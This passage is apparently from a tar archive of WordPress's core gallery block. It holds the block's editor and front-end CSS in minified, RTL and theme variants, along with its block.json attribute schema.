.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item { align-self: flex-start; } figure.wp-block-gallery.has-nested-images { align-items: normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) { width: calc(50% - (var(--wp--style--unstable-gallery-gap, 16px) / 2)); margin: 0; } .wp-block-gallery.has-nested-images figure.wp-block-image { display: flex; flex-grow: 1; justify-content: center; position: relative; flex-direction: column; max-width: 100%; } .wp-block-gallery.has-nested-images figure.wp-block-image > div, .wp-block-gallery.has-nested-images figure.wp-block-image > a { margin: 0; flex-direction: column; flex-grow: 1; } .wp-block-gallery.has-nested-images figure.wp-block-image img { display: block; height: auto; max-width: 100% !important; width: auto; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); bottom: 0; color: #fff; font-size: 13px; right: 0; margin-bottom: 0; max-height: 60%; overflow: auto; padding: 0 8px 8px; position: absolute; text-align: center; width: 100%; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img { display: inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a { color: inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div, .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a { flex: 1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption { flex: initial; background: none; color: inherit; margin: 0; padding: 10px 10px 9px; position: relative; } .wp-block-gallery.has-nested-images figcaption { flex-grow: 1; flex-basis: 100%; text-align: center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) { margin-top: 0; margin-bottom: auto; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) { align-self: inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone), .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a { display: flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a, .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img { width: 100%; flex: 1 0 0%; height: 100%; -o-object-fit: cover; object-fit: cover; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) { width: 100%; } @media (min-width: 600px) { .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) { width: calc(33.3333333333% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667)); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) { width: calc(25% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.75)); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) { width: calc(20% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8)); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) { width: calc(16.6666666667% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333)); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) { width: calc(14.2857142857% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571)); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) { width: calc(12.5% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.875)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) { width: calc(33.33% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2), .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) { width: calc(50% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.5)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) { width: 100%; } } .wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.has-nested-images.aligncenter { justify-content: center; }blocks/gallery/editor.min.css000064400000006421147177035020012253 0ustar00figure.wp-block-gallery{display:block}figure.wp-block-gallery.has-nested-images .components-drop-zone{display:none;pointer-events:none}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{position:absolute;top:0;right:5px}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{display:flex;align-items:center;color:#757575;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";outline:2px solid transparent;position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:none}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{margin:0;height:100%}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{display:none;position:absolute;top:-2px;margin:8px;z-index:20;transition:box-shadow .2s ease-out;border-radius:2px;background:#fff;border:1px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-duration:0s;transition-delay:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 2px 6px rgba(0,0,0,.05)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{padding:0;width:inherit;height:inherit}}.block-library-gallery-item__inline-menu.is-left{left:-2px}.block-library-gallery-item__inline-menu.is-right{right:-2px}.wp-block-gallery ul.blocks-gallery-grid{padding:0;margin:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;justify-content:flex-end;gap:12px}blocks/gallery/theme-rtl.min.css000064400000000205147177035020012660 0ustar00.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}blocks/gallery/block.json000064400000004735147177035020011464 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/gallery", "title": "Gallery", "category": "media", "description": "Display multiple images in a rich gallery.", "keywords": [ "images", "photos" ], "textdomain": "default", "attributes": { "images": { "type": "array", "default": [], "source": "query", "selector": ".blocks-gallery-item", "query": { "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "fullUrl": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-full-url" }, "link": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-link" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "id": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-id" }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-item__caption" } } }, "ids": { "type": "array", "items": { "type": "number" }, "default": [] }, "shortCodeTransforms": { "type": "array", "default": [], "items": { "type": "object" } }, "columns": { "type": "number", "minimum": 1, "maximum": 8 }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-caption" }, "imageCrop": { "type": "boolean", "default": true }, "fixedHeight": { "type": "boolean", "default": true }, "linkTarget": { "type": "string" }, "linkTo": { "type": "string" }, "sizeSlug": { "type": "string", "default": "large" }, "allowResize": { "type": "boolean", "default": false } }, "providesContext": { "allowResize": "allowResize", "imageCrop": "imageCrop", "fixedHeight": "fixedHeight" }, "supports": { "anchor": true, "align": true, "html": false, "units": [ "px", "em", "rem", "vh", "vw" ], "spacing": { "blockGap": true, "__experimentalSkipSerialization": [ "blockGap" ], "__experimentalDefaultControls": { "blockGap": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "allowEditing": false, "default": { "type": "flex" } } }, "editorStyle": "wp-block-gallery-editor", "style": "wp-block-gallery" } blocks/gallery/style-rtl.min.css000064400000032717147177035020012733 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;padding:0;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{margin:0 0 1em 1em;display:flex;flex-grow:1;flex-direction:column;justify-content:center;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{margin:0;height:100%;display:flex;align-items:flex-end;justify-content:flex-start}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;max-width:100%;height:auto;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{position:absolute;bottom:0;width:100%;max-height:100%;overflow:auto;padding:3em .77em .7em;color:#fff;text-align:center;font-size:.8em;background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);box-sizing:border-box;margin:0;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{width:100%;height:100%;flex:1;-o-object-fit:cover;object-fit:cover}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{width:100%;margin-left:0}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{width:calc(33.33333% - .66667em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{width:calc(25% - .75em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{width:calc(20% - .8em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{width:calc(16.66667% - .83333em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{width:calc(14.28571% - .85714em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{width:calc(12.5% - .875em);margin-left:1em}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image{display:flex;flex-grow:1;justify-content:center;position:relative;flex-direction:column;max-width:100%}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{margin:0;flex-direction:column;flex-grow:1}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;color:#fff;font-size:13px;right:0;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;text-align:center;width:100%;box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{flex:initial;background:none;color:inherit;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-grow:1;flex-basis:100%;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-top:0;margin-bottom:auto}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{width:100%;flex:1 0 0%;height:100%;-o-object-fit:cover;object-fit:cover}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*0.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*0.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*0.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*0.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*0.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*0.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*0.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*0.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}blocks/gallery/editor-rtl.min.css000064400000006421147177035020013052 0ustar00figure.wp-block-gallery{display:block}figure.wp-block-gallery.has-nested-images .components-drop-zone{display:none;pointer-events:none}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{position:absolute;top:0;left:5px}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{display:flex;align-items:center;color:#757575;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";outline:2px solid transparent;position:absolute;top:0;left:0;bottom:0;right:0;z-index:1;pointer-events:none}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{margin:0;height:100%}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{display:none;position:absolute;top:-2px;margin:8px;z-index:20;transition:box-shadow .2s ease-out;border-radius:2px;background:#fff;border:1px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-duration:0s;transition-delay:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 2px 6px rgba(0,0,0,.05)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{padding:0;width:inherit;height:inherit}}.block-library-gallery-item__inline-menu.is-left{right:-2px}.block-library-gallery-item__inline-menu.is-right{left:-2px}.wp-block-gallery ul.blocks-gallery-grid{padding:0;margin:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;justify-content:flex-end;gap:12px}blocks/gallery/theme.min.css000064400000000205147177035020012061 0ustar00.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}blocks/gallery/theme.css000064400000003140147177035020011300 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); }blocks/gallery/theme-rtl.css000064400000003140147177035020012077 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); }blocks/gallery/style.css000064400000040214147177035020011341 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-gallery:not(.has-nested-images), .blocks-gallery-grid:not(.has-nested-images) { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery:not(.has-nested-images) 